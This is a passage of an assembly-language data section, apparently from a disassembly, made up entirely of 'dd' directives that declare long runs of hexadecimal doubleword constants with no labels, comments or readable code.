		dd 8FBC40FAh, 0EC7950F1h, 0BEB085h, 19AB75EFh, 5044E30Bh
		dd 0B800A2EAh, 0B54172F9h, 102C9h, 0C4432E5Bh, 2C0CC820h
		dd 0A864700h, 0EEB2E1BEh, 91E500DAh, 65F6033Bh,	0BB008D04h
		dd 55B4C113h, 0E0CA759Ch, 9BA0316h, 0DEFEC97Dh,	66472098h
		dd 0BEADBB0Fh, 1BCBE17Ah, 0F0415327h, 0D0C0E8D5h, 2D6C03A4h
		dd 0A5411D43h, 8470ABC0h, 0B375748h, 0FFD1E48Ch, 1248530Ch
		dd 500A9EEh, 46278417h,	2E7510B8h, 3F5450F5h, 4098079Dh
		dd 0EF61A88Eh, 4EF0F25Eh, 5F9E8B00h, 7DFD6639h,	193C079Bh
		dd 0F0ED2BE2h, 60C6637Fh, 1A2738h, 9C016E7Ah, 1A6B54Eh
		dd 9997F961h, 208A9B6Bh, 50E8FEDh, 67A34F91h, 3C50AFE9h
		dd 0B4A27D74h, 3F4C00A0h, 20FB8B97h, 4E6C5A00h,	90F0D83h
		dd 62785CF0h, 5CFFF206h, 0FA3DB052h, 164900AEh,	0C6879A11h
		dd 0A67014C9h, 0A4016415h, 0B0865375h, 1B544089h, 6F0088FDh
		dd 56619512h, 676F319h,	608A1E3Eh, 312B082h, 0FC12D253h
		dd 0BEBCB900h, 3CD9AF1Fh, 153A8039h, 0F0F48B00h, 0BB212886h
		dd 0D62409E8h, 0A116943Bh, 127DD8B4h, 0E0D0C634h, 0CE003FA8h
		dd 0BD183D87h, 1CCAB7h,	858A0168h, 0B66EB3F8h, 24585A71h
		dd 512D1375h, 0B554F0h,	0CC07467h, 0EDC255F0h, 4B272F00h
		dd 9E599669h, 93F90176h, 1CDA8670h, 0B8B4608Ah,	23358006h
		dd 107EBEh, 49E1DDD1h, 1C8925DAh, 65446400h, 0CBED0DB8h
		dd 769C0E93h, 9005A266h, 221C80F3h, 282CD7BEh, 92BFA6AEh
		dd 0B41EF7AFh, 7A81EC00h, 2D2EE75h, 0A07616E1h,	0E0C0A5D4h
		dd 553EAE31h, 12CC0032h, 38379002h, 2E0A0078h, 953E7B06h
		dd 8A00705Dh, 1EE1D628h, 7259A87h, 0F8BE74EEh, 11F4098h
		dd 0E4035990h, 0DEAB13C3h, 0F7EDB092h, 0F28700D6h, 0BE01912h
		dd 3A070F5Dh, 11D4B26Bh, 49839437h, 0E88FBBA9h,	1BEA263h
		dd 0CA82A108h, 2F9CBF97h, 33DC3400h, 1C833CC8h,	80A99B11h
		dd 0FBE0FFD2h, 5800DABCh, 4534A58Dh, 0F8E6D853h, 0CD3C0CA1h
		dd 954884B0h, 5462701Fh, 0FFC8E0A5h, 41377A8h, 32C46BE3h
		dd 0B5CA288h, 0C1FB50A0h, 4060C114h, 675E1D11h,	3BAC075h
		dd 0F3358B9h, 0A41920C7h, 0C316410Fh, 88613A1Dh, 61003C68h
		dd 6E10847Eh, 0E460496Bh, 0F3B5CC51h, 14DE2C93h, 0FB5D0068h
		dd 0ADF0CBC5h, 0E6CA8303h, 0B0A98B52h, 4900693h, 2A9295ECh
		dd 3644C1ABh, 3A5830BDh, 3386F602h, 0E04C14C5h,	0B5C658h
		dd 0C24D8DB6h, 0A9A67A67h, 0D720A203h, 0DC7582h, 1C277F21h
		dd 133B73C0h, 0A7034301h, 0D90BB3F5h, 1B064472h, 30C769AFh
		dd 83A7100Fh, 0CB4E038h, 995EFFh, 0BB7F0D24h, 705707AEh
		dd 71C57800h, 486AF36Dh, 0EB69003Eh, 29A103BEh,	0A700EFDCh
		dd 2D265B5Ah, 1DD96461h, 80C3E950h, 4A66C8F2h, 83287237h
		dd 6C00BC26h, 0F8C1BED5h, 0F09C7F31h, 28956790h, 728050F5h
		dd 0FA008B65h, 0F8984248h, 0BB3E92h, 31735ECAh,	374B6B9Ah
		dd 0C3E0EEE7h, 0CB4C6F06h, 17D000E2h, 0CA04FF91h, 0DEE403h
		dd 0DE11DC6h, 0C392D8F3h, 0F18BEB05h, 40A1593Fh, 1016FCh
		dd 36C6A039h, 87896B52h, 8053583Eh, 9157C3FBh, 37DFCCh
		dd 0F39E49FFh, 0ECD88CFh, 0C7AA3Dh, 9D7BFEA7h, 28F78D82h
		dd 0B0E9978Bh, 1D7C77B0h, 89464B37h, 0CCD83320h, 87D72800h
		dd 21F43D31h, 824F004Eh, 0F67F27F3h, 0A00FD433h, 672DD594h
		dd 0BC502CDDh, 4CDF07E2h, 0AC1E91A3h, 0A557CFAFh, 0B8C92145h
		dd 0D4502E2Ch, 71B8FCE0h, 601D040Fh, 80F1B707h,	0C1D34A00h
		dd 3F506B49h, 61C79334h, 9F09EC40h, 49223Bh, 6F31C691h
		dd 3D736A96h, 43FDA300h, 6C1DA0C5h, 0FBB02Bh, 0CF697FC9h
		dd 0DC0302B0h, 0CB7ABF00h, 472BDBA0h, 0CE2008Eh, 1F5369CCh
		dd 6B125A46h, 0CE005D98h, 26FA8571h, 88C607CDh,	70A73242h
		dd 5D7503C0h, 94E2909h,	0B76880EAh, 537658Bh, 56592CB1h
		dd 36680D1h, 0BD0044D4h, 0F047886Eh, 7E24593h, 20792B74h
		dd 611B974Ch, 0C09D6EAFh, 0EB05EE96h, 44917029h, 0F0FDC200h
		dd 297B33Eh, 4CB0599Ch,	9880DF11h, 0C2955C2Bh, 3D01717Ch
		dd 0F81C4480h, 3860555Ah, 129D00FDh, 9AE3F377h,	0D8001153h
		dd 0B181CFEDh, 167A294h, 4A771B2Fh, 30CB32E1h, 0C503B668h
		dd 49A569D4h, 5BC78C9Fh, 9B3FC860h, 2881001Ch, 57615D92h
		dd 9E1CCD4Eh, 0DC40EF78h, 90FB5EA3h, 0F4DF4806h, 63007D2Dh
		dd 0BEE2739Fh, 0CFE7910Fh, 800F612h, 0BD07F133h, 1DF80903h
		dd 720098F9h, 7D34D5C4h, 0AD825000h, 7CCBD08Fh,	0D270062h
		dd 0E2EDD6DDh, 191D1AAAh, 0B1404953h, 4F7C0AA2h, 7FF603D8h
		dd 866C8883h, 0AB6EEA90h, 52A71100h, 1ACAE815h,	7E0F03F0h
		dd 0D7010A41h, 7921EA80h, 0A40B3C00h, 63A0065Eh, 0B5CA00DEh
		dd 912880FDh, 0CB00E956h, 5992FFB1h, 61F31B48h,	37CFC0E5h
		dd 0C8203AC3h, 4A7380D8h, 8ACC80D6h, 8224463Eh,	0B4836C2Eh
		dd 0FE104D18h, 0F19D0A21h, 0BF2CF77h, 0AA87ED17h, 0A6E5803Eh
		dd 21E069B5h, 0FA4A0601h, 0A5AC2A1Dh, 2F1F187Ch, 256424F1h
		dd 1A3FDED0h, 8E122F7Ah, 9080B69Ch, 8068FC9Ah, 4C00D90Ch
		dd 0BEAB1A1Eh, 978425h,	6303329Fh, 0A34B063Dh, 0FD762300h
		dd 8C02FD3h, 57971710h,	0D48804D6h, 2672004Dh, 2AE71F8h
		dd 3ECF0188h, 0B080F752h, 4519FF7Eh, 0BBDE1D00h, 8B0238DCh
		dd 5FF9160Ch, 0C83D0083h, 0CEDA1F7Dh, 0EE7AA100h, 0D94186D6h
		dd 1D50907Eh, 403A6A7Bh, 0F533CBEBh, 0D5004DD1h, 9A24815Bh
		dd 7F427Dh, 0A4EF9F6Ah,	11BAE141h, 1688DA48h, 4C901804h
		dd 75F3975Ah, 0F85F0029h, 88C223F9h, 0DA76DC41h, 18EC311Fh
		dd 0FD73AEC0h, 2FFA72h,	0EBD05FBCh, 0F21E28FBh,	0B97BF62Ch
		dd 0AC38FD07h, 0D8C0B524h, 0EBCC8h, 0F19E6E68h,	27D38ACDh
		dd 0C42D3B2Ch, 3C70D000h, 0ADBF9Ah, 5F47E9C8h, 39B3B8E2h
		dd 694F8800h, 3A650CF6h, 1295008Fh, 0AEC1AF2Ah,	6C3A593Ch
		dd 86A19478h, 71B000FFh, 0CFC4F0BCh, 7A9200D2h,	0D8216844h
		dd 162E2F87h, 5400AFA8h, 365C5685h, 0B3C205F2h,	0B984A71Ah
		dd 0C580ED4h, 5B37C07Ah, 20A44Ah, 0B7DC4943h, 703BD47Fh
		dd 0E353B51Ch, 1EC2D900h, 30389D71h, 87186FE0h,	0F300055Ch
		dd 64556A06h, 3C0BACh, 0EAB92B91h, 327DDA2Dh, 8F254217h
		dd 0FCC2F116h, 671260DBh, 83170368h, 0D207248h,	0D18880F4h
		dd 5A0008FCh, 69E21333h, 8B3844h, 0C8226E2Dh, 0D3240719h
		dd 46A6B619h, 52213330h
		dd 0C00FC43Ch, 11A07128h, 0ADCA368Fh, 0B60FF4FAh, 41A1E75Bh
		dd 2C856561h, 58D91C8h,	0FF1F0AD3h, 6B48C0C1h, 2D061412h
		dd 64E9516Ch, 543F0028h, 1EC46FD2h, 9AA14A75h, 67318448h
		dd 6884405Ah, 603F18ECh, 0A73CA03h, 0EBB8AED0h,	770FC389h
		dd 76E233CCh, 9348E200h, 28A9BAE4h, 3F5B680h, 2874C423h
		dd 0DFE1CBAEh, 1C6BD8EAh, 96AC4095h, 0D0540181h, 9D333EDCh
		dd 0A728ECB9h, 0C56F3B1Fh, 15E0D547h, 9CC09080h, 0CF9B5837h
		dd 0C17F761Ch, 0D119AED2h, 74D44069h, 0CB98E433h, 0D3E824E6h
		dd 9A04B31Ch, 0F90E3A40h, 761CB996h, 3D621CF3h,	82DB8089h
		dd 2C860504h, 0F63239h,	7133100Ah, 746B5009h, 7BEB0731h
		dd 73FEB65Fh, 0EEF0D967h, 8F139668h, 0B4B4E473h, 0EE874h
		dd 2ACF27DEh, 0E3BAF649h, 0DF2FD500h, 5F81D739h, 914C00E0h
		dd 0A3E16131h, 7D1C8AABh, 40E7BF08h, 5384B4h, 0EF1B6928h
		dd 1355AB6Ch, 0F0E08B97h, 0B52E2158h, 361EC00h,	0CF885Ah
		dd 7B77B427h, 0CA3C7F16h, 0DB0DFA07h, 4C02815h,	1B428649h
		dd 102D4E6Ah, 4CF0F1D8h, 7EFE651Fh, 47063183h, 0ACC0DC55h
		dd 985D18h, 1F0D5F94h, 7FD43BF9h, 0C753A003h, 0C152BBAAh
		dd 7F20ABECh, 0BD50C01Ah, 0D8230E1Bh, 360731E8h, 5A12A24Fh
		dd 496E2930h, 54901F10h, 30643834h, 3494A58Ah, 9D0C1930h
		dd 80D7FE01h, 0B251DE9h, 845CE466h, 187CC9Fh, 0B6AFB8D0h
		dd 98501087h, 928EC360h, 0D117C1A9h, 253930C2h,	0CF56A700h
		dd 756E97B4h, 0DA77009Ch, 7E53B0E1h, 1A00D61Dh,	0A473104Fh
		dd 30C9D0h, 0F3DE92A1h,	0C1F59695h, 48004B5Ah, 0DAC2C65h
		dd 499C0063h, 8CEC77ADh, 0A31CBF70h, 9B0109C4h,	699AFC6Dh
		dd 240562FCh, 163C6DAh,	915993FDh, 7402052h, 806C0C0Eh
		dd 78198F3Bh, 122B2220h, 1DFAF6F9h, 880E1DDCh, 4C186410h
		dd 9919D206h, 0AF8884ACh, 0F23C80E7h, 5603A192h, 0B0E9E8B6h
		dd 880FCE4h, 7EBC07Ch, 0A2B75C6h, 0E00799A4h, 0BE31808Ch
		dd 0E2007968h, 0EF29CDFEh, 247BBBAEh, 1DA881Bh,	7A3A6D7Ch
		dd 0DCECE445h, 0C75A4F00h, 0D3755150h, 857D009Ch, 24E3D428h
		dd 0B901B2CDh, 0AC07FF76h, 0F3D04184h, 4872005Dh, 0E9C404A1h
		dd 0CC01B503h, 9C3B7694h, 0ACE09A73h, 0C51B00C3h, 580514ECh
		dd 0CB1F0B33h, 9B019D35h, 1165C9FCh, 0E7906880h, 69C4CF72h
		dd 0C12E3600h, 8BEEA8DAh, 65200B4Dh, 0CCE049BCh, 0C9001476h
		dd 0CD983443h, 583ACA08h, 0F901EB9Ah, 310DAFC4h, 7725C084h
		dd 0A9A35400h, 0AC1C5155h, 26EA1757h, 2E5C00B4h, 36C56AF1h
		dd 9D11E800h, 0F06DC194h, 7910F62h, 0F460565Fh,	0DF634C0h
		dd 0E001C98h, 2802DCF5h, 12903BFh, 2CAFAE44h, 6BA7C4B7h
		dd 10E442Ch, 0C87C0F65h, 0DC4FEC14h, 9C3E9EB6h,	0B00732Ah
		dd 0A9E2CD25h, 0D0EADh,	50210110h, 97FCF026h, 80BE2738h
		dd 55496AC6h, 24D7CFACh, 584C7BDh, 0C09C5868h, 0F736049Bh
		dd 0EC84B900h, 73D02F02h, 35FA0030h, 0F08D31DAh, 17DC724h
		dd 7400424Eh, 0CE26B1E5h, 1A2C9A68h, 6054CCC4h,	581CC4DEh
		dd 0BCC0635Dh, 4C1CBAFDh, 47F0129Ch, 4A4400BDh,	211570DFh
		dd 8E86E600h, 0E50BA7D0h, 0E86013B5h, 0BBFC12C2h, 0EDA35100h
		dd 483555BFh, 6B0B6D8Ch, 3280075Fh, 0D64C6754h,	0AF31C300h
		dd 7DD4E415h, 0DDDC008Fh, 0A7CED063h, 801373EFh, 30E046F5h
		dd 0C1A4A10Bh, 0D9CF9F3h, 77C6A6FCh, 6BE200BFh,	5D75B03Dh
		dd 7898ADB6h, 3F05BBFEh, 4B231DE7h, 55C8F1C0h, 0B0600C74h
		dd 0E90D5D2h, 0F1A73F00h, 6CC2355Dh, 3E427747h,	92023103h
		dd 68275197h, 5E003C78h, 43C7B1ADh, 0EAFB93h, 8F9BBA0Ah
		dd 0EB359767h, 45633B00h, 0DD89F52Ch, 0F0101F12h, 0CC924034h
		dd 699139ADh, 904E7400h, 0E77F5C28h, 868C09D0h,	18022036h
		dd 71608A03h, 0A9002183h, 33FE4F56h, 0BFA943Dh,	3CD80942h
		dd 7E0C50Fh, 0D05C90E8h, 7C1B8B00h, 0FF05F5A3h,	0C90BAh
		dd 3AF48123h, 0C41DF94Ch, 904058h, 77C1086Bh, 0F3CD1F7h
		dd 0F9C67607h, 4CD7F0C0h, 35604FCDh, 4B25A770h,	29860E31h
		dd 2E408F79h, 4B802EEh,	80B0FB30h, 5C626DEh, 57237D6h
		dd 370AC87h, 0C20B14A3h, 1C9E8FBh, 4A747FBEh, 7BCCB1DEh
		dd 458C1420h, 89C0561h,	0B1DD641Ch, 2B803064h, 0B5A82C02h
		dd 40E83DA3h, 5E516Ch, 3F9921Dh, 0F75B9BCEh, 28DF1139h
		dd 0B52FE0FDh, 1E748F81h, 0FAE40022h, 0A1A5A0CEh, 0C0005818h
		dd 6B16F1E1h, 7E334366h, 57820EB0h, 0C8E3F41Ch,	59F85C67h
		dd 36004D58h, 7EC6B89h,	984AF70Bh, 13ED7AEFh, 0F0D1C202h
		dd 0F400D39Ch, 1E2E4504h, 35EF9F7h, 20F63E3Fh, 0C0A73940h
		dd 0D8C01F76h, 47A0DC00h, 260895D4h, 0C49AE1h, 0B4F404E6h
		dd 0ADF7845Ch, 0CAC69F02h, 60BFBEDEh, 3D22B68h,	63473152h
		dd 7600151Ah, 0AD862A7Eh, 5A9DDBh, 0E824FDDAh, 0FC7A14Dh
		dd 0B9FB8012h, 0D92AB600h, 115B7Eh, 5FE05131h, 0BD67AAAEh
		dd 0DA002C9Eh, 34E9CFCEh, 7F397CF1h, 0C6D00028h, 0B137E735h
		dd 0D52CC4ECh, 290190F3h, 840E643h, 8FEC802Ah, 4100B572h
		dd 96D2B937h, 0E97EDEh,	6B998D40h, 597232E3h, 693E5A09h
		dd 0F72CA081h, 9F16C9C6h, 0EDE1C480h, 0EE0012BEh, 72EB58FDh
		dd 1427B09h, 0CA0EAE8Bh, 404E0757h, 45696DFCh, 0E9639D00h
		dd 66C2E2CCh, 931C25F1h, 9EC10030h, 64E31409h, 502C22FCh
		dd 7104C8FBh, 56621D6Bh, 69E1C233h, 3C39631h, 0B291FFE0h
		dd 0C20A0D1Bh, 0BAF7D898h, 17141FC7h, 5649C7ECh, 675F40ADh
		dd 0B2748EDCh, 0B988C1Dh, 94E0B387h, 0D7BB27B0h, 0EEC7F26h
		dd 7AADBACAh, 0B0E20567h, 5E3A4DB4h, 809F1639h,	72860246h
		dd 0FF11C87h, 5F566118h, 64C106AEh, 0E5FE45FDh,	0E2E970AEh
		dd 0CBBA6000h, 3325B098h, 30F6586Eh, 0DCDC103h,	9CE1C23Dh
		dd 0E190C0B2h, 209B61F9h, 0B831D834h, 43919D4h,	75F156F8h
		dd 0AF0E2857h, 0E2B400D0h, 4772B8EBh, 49008074h, 0C03FE895h
		dd 0D493ABh, 31C952CEh,	0E9BA59ECh, 0DA7F2D01h,	93068E6h
		dd 3BCA62ECh, 7D928DEBh, 0FE8C00A2h, 6012F5Ah, 5B131100h
		dd 5D811827h, 0B12C00E8h, 0FF543C77h, 0EF009EADh, 7E1EED99h
		dd 31378Bh, 5BC74110h, 217970DBh, 0F9186A00h, 558B2FBEh
		dd 0FC18C056h, 0FD2657AAh, 0E638C300h, 0EDC57FC2h, 152758Fh
		dd 0D80F3E49h, 0DDC0C43Fh, 8481C02Bh, 99022870h, 0F023A5FEh
		dd 0F29FC093h, 982D161Bh, 0B59000E2h, 3470B99Fh, 74003678h
		dd 3DDE0E64h, 3AA16EFh,	0F68B3A10h, 45989601h, 7F16C347h
		dd 40F4CE48h, 3FC87681h, 0A86B2723h, 7300F458h,	3D729353h
		dd 0E8F2AF2Bh, 0D0300033h, 49B075B8h, 8B502ED4h, 8900BED3h
		dd 1D689B2Fh, 79BDE30Bh, 13D5FA79h, 0A0C426F9h,	3900D360h
		dd 7FFED97Eh, 39C032Bh,	0C8FDC98Fh, 8983531h, 0AE0FEE96h
		dd 4060E81Bh, 6C389388h, 345700E1h, 299ED8BFh, 4500B740h
		dd 0C2062607h, 18BD5892h, 11224143h, 4600B25Fh,	0B3D03642h
		dd 877690h, 109FD935h, 0AA2FA76Fh, 676891C0h, 0C1EB26h
		dd 0C70A5E39h, 0ADACB8EDh, 5A6A551Eh, 0CB600200h, 0B7269328h
		dd 23D24002h, 22142080h, 1061B5C7h, 0F8359A08h,	0C69BB240h
		dd 2A0A3D0Eh, 7B001C52h, 1244957Fh, 0A626B158h,	1BC601Dh
		dd 0A9F0C73Ah, 31812739h, 0E018A6B4h, 5A208052h, 0CD5DE8C5h
		dd 34600A9h, 0CC0A165Bh
		dd 6A6066D4h, 99C75130h, 0E9B80539h, 367D548h, 5968F10Ch
		dd 0D2006878h, 6CFF0ADEh, 77E4D593h, 0B019005Ah, 9C7E0422h
		dd 0EE00769Dh, 2D284DA9h, 7C2675ABh, 0A84A3893h, 8F0F4183h
		dd 5CC0ECB0h, 3C00AA74h, 3E803388h, 0A50E6Fh, 979A3007h
		dd 0C8701122h, 0C2FDEB00h, 5046F877h, 0A6EF3ECCh, 0EE17FF80h
		dd 873EBAB0h, 0D188BE0h, 9DB17640h, 0F8CE27E4h,	75B5051h
		dd 46B3C908h, 0D2DEC053h, 3072EDD3h, 0EC133500h, 18AC4ADh
		dd 0FD2300E3h, 0F7C9C121h, 1D0ECC70h, 2044AA6Fh, 23A4C8CFh
		dd 45A9016Eh, 0B2FECD43h, 0F4093EF2h, 0CF348046h, 2C2FA06h
		dd 0B4A06C9Bh, 24C017B6h, 492FFE01h, 6F50C699h,	0C5205E3Ah
		dd 2E853539h, 2F75E80Eh, 0FC8B25h, 0B7CFDB04h, 0EF71ECh
		dd 59C909B8h, 0FE0B4DC7h, 0A8029F4Fh, 689D9048h, 0E5D1F0h
		dd 0AEB322B2h, 8F6D55Ch, 0D23C3200h, 72BE05A0h,	7AD300FCh
		dd 0D1EC5545h, 0B41E156Bh, 13C0BF04h, 0E65B843Fh, 62A2009Fh
		dd 8E548F89h, 6D90E8CEh, 6726C6F8h, 341DC618h, 0EF413C80h
		dd 17BD47F6h, 0FC1D3140h, 0AC610941h, 0D8668004h, 2EB8E3C3h
		dd 269CCB9Fh, 2B803064h, 5500B9FDh, 0C4447CE9h,	0D348851h
		dd 0EFEA4E6Bh, 0D34DECF8h, 0BCDDEC00h, 5BB1769Bh, 60516049h
		dd 0B9CB3F12h, 0B4119A07h, 3B04250h, 35A94B8h, 0C20E49BBh
		dd 0A5C0B7D8h, 2B01D580h, 0B8CE1F04h, 0E4F4F7E0h, 39690006h
		dd 3490D48Bh, 96774924h, 6E721F00h, 0CEC107E0h,	0E10F0021h
		dd 0C6A8053Ah, 0F00054D3h, 6B5A171Fh, 1E4857E4h, 0D22EC551h
		dd 45D10063h, 0DC6E0E83h, 2B045672h, 0E6E7CA26h, 0E5D8BCF1h
		dd 3260044Fh, 0AC019543h, 0B7C401B0h, 5964B382h, 0E8F634E4h
		dd 8A4A58E7h, 4025D81Eh, 4606FBB4h, 361CF233h, 41DDA52Fh
		dd 6A12A680h, 9FE2EA4h,	0D09886BAh, 44D34381h, 0FC4BD96Dh
		dd 55397AA2h, 0DD5E0052h, 9FBF682h, 41871761h, 0C0181663h
		dd 74759D04h, 78077CB8h, 0AEA9AAF4h, 0B45D1380h, 6794012Fh
		dd 6671C793h, 0CD9170D2h, 70DE4E00h, 0C0243E6Ch, 0FCD80003h
		dd 9E54970Eh, 0F50067E0h, 0BA2B4BF9h, 526271h, 4C3F29DEh
		dd 0F869524h, 0C7F7C412h, 0A0B558F0h, 79B2E2F8h, 10A00E7h
		dd 0AA985721h, 0CC019182h, 8E96DF87h, 0DBE452E1h, 3B30C0B4h
		dd 0EE592DF9h, 0DAC2BF0Ah, 0FE009035h, 0F89C2643h, 0E7538C1h
		dd 0DBCB1280h, 0FB5BB632h, 917F8D00h, 40A18944h, 0B4DD00F4h
		dd 64EBACF9h, 4B007424h, 0C6E19A1Eh, 139B8A14h,	81AD94DDh
		dd 8B37214h, 0C834F9F1h, 39571F0Ch, 270A406h, 0F6531B11h
		dd 0B8141375h, 12FB474Bh, 0B0398BE0h, 8F0002BCh, 64D89FDh
		dd 0B77DB6h, 5147A771h,	0EFAEF8D4h, 2705040Bh, 0E7DC5049h
		dd 11D9E8h, 4D06D3D7h, 3C5C2D14h, 0F085EC4Bh, 0ED1394BCh
		dd 7A0AC63h, 0F1B26EA6h, 554EE380h, 4C92C054h, 1CD48803h
		dd 34F31701h, 0B279B5EBh, 4CD2C3CCh, 4313C189h,	0FA984090h
		dd 6414BFD0h, 0C76C8A2h, 695CE500h, 4776D35h, 8A048E26h
		dd 3C1EEE0Dh, 1728D0A5h, 67CEDE11h, 8A050050h, 0D40FD9DCh
		dd 60437CE8h, 650EF45Fh, 88C8003Ah, 2849BF4Eh, 59027121h
		dd 0AC08386Ch, 6B8805Fh, 32E0F07h, 22EB1E1Ah, 97C08E9Eh
		dd 8700DD92h, 0D107E7BAh, 1463CEDh, 18DBB44Fh, 0C0A8B17Bh
		dd 0FE001AA5h, 695E42C2h, 1C9B7D16h, 0C0B09246h, 0AFCA12A0h
		dd 241FD60Ah, 2AC153B5h, 2378E226h, 0DC1C1081h,	0D456850Ch
		dd 0E3603FB4h, 0BD258629h, 0A09060BFh, 799FD7D3h, 26805800h
		dd 92F8DE5h, 3BD190A9h,	7080AC77h, 90238559h, 802543Ch
		dd 0FD8C34ADh, 9270D29Ch, 0AB5A01BCh, 5B4B793h,	0C8803BBBh
		dd 122C7EBFh, 135B1Eh, 8E08B09h, 0A20107D0h, 85542134h
		dd 92609E5Dh, 40D63DC4h, 40C0B19Ch, 0F6A2D43h, 0D060B56Ch
		dd 338A5DB8h, 4C64FF7h,	41B3D884h, 60FBF52Dh, 8961C2EFh
		dd 39B450F8h, 0D113B232h, 0EEAC97h, 2FCD0927h, 0BEFAE15Eh
		dd 29AB8308h, 0D8D881EAh, 59E69C31h, 5BC3700h, 648F0697h
		dd 35AD1C61h, 430180F1h, 5D362027h, 4124890h, 98E96A3Fh
		dd 0B8E05627h, 1C013D62h, 865A37A4h, 17ED9FF8h,	0DB4B2980h
		dd 0EBC0E4B6h, 50D9715Ch, 5F007C5Ch, 0F26C2750h, 48A547FBh
		dd 0D30264A8h, 240B233Eh, 35A7BC40h, 6C13BA77h,	0C0E3A95Ch
		dd 89ABD000h, 0D9DDBC33h, 5D041DB0h, 79119007h,	45EE64C0h
		dd 0E83407CFh, 20189192h, 4098CBE7h, 0C496B114h, 54A3FB0h
		dd 67447636h, 1B80F887h, 0C732C5h, 833CA4A9h, 98EADAF3h
		dd 0E8166F02h, 808E742Eh, 0B67397BAh, 0D2321D03h, 0EB054EDAh
		dd 0D708A880h, 0C295F64Dh, 0C794808Ch, 62F53Ch,	0C2226CABh
		dd 0CF3F3B50h, 6682FF05h, 0ED81363Ah, 9C30D6F8h, 42E1090Ah
		dd 5C563701h, 0D5B6BA00h, 0EC748B1Eh, 920B3A46h, 7AC8CA8h
		dd 39F4A8B0h, 0D59DB014h, 1E02360Ch, 2E47BFE1h,	16346053h
		dd 11F900F3h, 0EAD8ECA9h, 65008EB1h, 127B8A09h,	0AF6A556h
		dd 0FD3785B9h, 0D90938B8h, 88606182h, 410188BBh, 0EFA42D50h
		dd 170CF28h, 0CB142EA8h, 0AB3C14F9h, 402724h, 33397C6Ah
		dd 3001B87h, 0A7E8D251h, 72B4470h, 0D5F73D5Eh, 45DC0012h
		dd 1324F46Bh, 1010494h,	8DB2F20Ah, 0DB4C60h, 527E060Ch
		dd 799EAB6Eh, 0C9E81500h, 54AA1CD2h, 997A10h, 0EE881376h
		dd 4459813Ch, 1E215F0Bh, 9D080A0h, 167B6B43h, 0F4CF2F49h
		dd 0B3028794h, 0AF0382DEh, 2786613h, 0E8CAD770h, 6CD8B4DAh
		dd 81FF5302h, 0D1079FD2h, 30602D04h, 0C707CCE6h, 0A5AB9AE8h
		dd 19BF8710h, 0B8D5000Dh, 0BB118F1h, 0F425AA3Ah, 7FF0D2D9h
		dd 0B08B089h, 738F9C36h, 0E74204D7h, 167004A0h,	15EA069h
		dd 0C0EE4514h, 0DDA6D853h, 67230D00h, 654BC18Ch, 0F2E72D21h
		dd 6B007064h, 22A31B3Ah, 4819E566h, 0D93A4AB4h,	48E4F4CAh
		dd 38603E48h, 3BD002A2h, 7D7A12FAh, 0C5403400h,	9E004C4Dh
		dd 601FE003h, 0E248512Dh, 80C600D4h, 706D7BF7h,	0ADF2258Ah
		dd 0BB1683B8h, 0DC01EF12h, 68FD919Eh, 0C500D028h, 0FBB277B8h
		dd 0D008035h, 906A6C71h, 0FCA0DBF9h, 3C1B4810h,	664F1609h
		dd 79220C50h, 0B9B500B3h, 0B6DE837Ah, 52EEACBFh, 2EF43C07h
		dd 0AE050CBh, 4B3E74h, 0C102C908h, 4CB06167h, 0DFC5F90Eh
		dd 28B6A054h, 81C0D5h, 96A2EB22h, 57ABCB71h, 9E0064FCh
		dd 0F0DD8AE6h, 4CBE2158h, 0DB30F7B7h, 4F878380h, 0F8FBD700h
		dd 851AF7F3h, 15080FD4h, 0A4802A8Bh, 70B7DB7Ch,	52F07B00h
		dd 0C1390335h, 9219091Ch, 1C5631ADh, 40EEE808h,	863DB226h
		dd 0F5F71601h, 931C6CDh, 0E4F0C02Ah, 80034ACh, 2DF8BB21h
		dd 3E98EBh, 0DCEEF1Bh, 8FC76250h, 0DFF61200h, 3B77876Ch
		dd 24683E07h, 30C3F700h, 694F8518h, 4080BE5Fh, 1F5E898Fh
		dd 98E9E4C5h, 4DC1887Dh, 9070F803h, 0D06465C4h,	7BDEF4h
		dd 9E798D7Fh, 3EA6D192h, 95C5CA00h, 357CE4E7h, 1271A7h
		dd 0DAAD7B31h, 4264BC6h, 0F90083F0h, 29D19C91h,	7C2E216h
		dd 0EA8EA4CCh, 0AB39C0B8h, 300764C3h, 0EC27D73Dh, 6E3AC0DFh
		dd 302F5219h, 8BB094E9h, 9EE60A98h, 0A18EF207h,	4CA04345h
		dd 0E4653B55h, 934707AEh, 0E08F62E1h, 2C857FC5h, 0D716F0FCh
		dd 444032DFh, 94FBE542h, 668B01A3h, 0F5649692h,	129470AAh
		dd 0F827A400h, 0EF5D3BC4h, 0A79868h, 0EA37783Fh, 4AC621Eh
		dd 0C1B7CE00h, 0F4737548h
		dd 0D0C74D7Bh, 5063F000h, 5824AA7h, 0D4A0AA4Ah,	33A60001h
		dd 28EB10C2h, 37005DCEh, 0C076BCD3h, 4B6E14A3h,	0A21CF0A8h
		dd 0ACD02E13h, 0F8E15816h, 87220h, 0D3E02FE7h, 5BB609EDh
		dd 0C2AA3301h, 448FC03Bh, 0E86D1730h, 53D1072Fh, 304F3D24h
		dd 8E43C8FDh, 0F105C470h, 6C722766h, 0C3A4FE02h, 4481550Fh
		dd 40CDE97Ah, 9458CCF8h, 934A9E00h, 0B9951964h,	54BB00AEh
		dd 4EF944A6h, 0BD0B9008h, 0F0D33C98h, 5E56048Ch, 0AC91C8A2h
		dd 0B8FB28B4h, 1B6F285Ch, 58CB4Ah, 55077A48h, 6619B6D7h
		dd 0FDF119C0h, 0BF33AEh, 59513D8h, 14C834A6h, 7BEB4603h
		dd 0C2B14E92h, 40E404h,	8A2AEE41h, 9F2F3DF5h, 0E314E900h
		dd 85503AB1h, 295C0146h, 6C18B822h, 0FC388Dh, 0B00960B7h
		dd 0F299735Bh, 6AC82DF8h, 0BB78D089h, 0F889A826h, 0D89BF300h
		dd 27D95D3h, 4A4FBF45h,	9BC1612Fh, 2C042EFBh, 2941B53Ah
		dd 0E0399901h, 98007084h, 4CA0D2DFh, 756B8A9h, 0B8E4982h
		dd 0CB536345h, 6284B390h, 808CF601h, 996DB4FBh,	80CDABCFh
		dd 1349A291h, 14E44C21h, 0E00847Eh, 0EF460D8Eh,	0DE00CB24h
		dd 7CCCDBEh, 55D22Ch, 0E48C8BA2h, 2DAE9E50h, 78774200h
		dd 0A4A148B7h, 0A1B1873h, 0FFD330DBh, 5AF20677h, 52D2A20Eh
		dd 87C26956h, 0FA904E5Ch, 0C0014469h, 0CF13DA7Eh, 7916120Bh
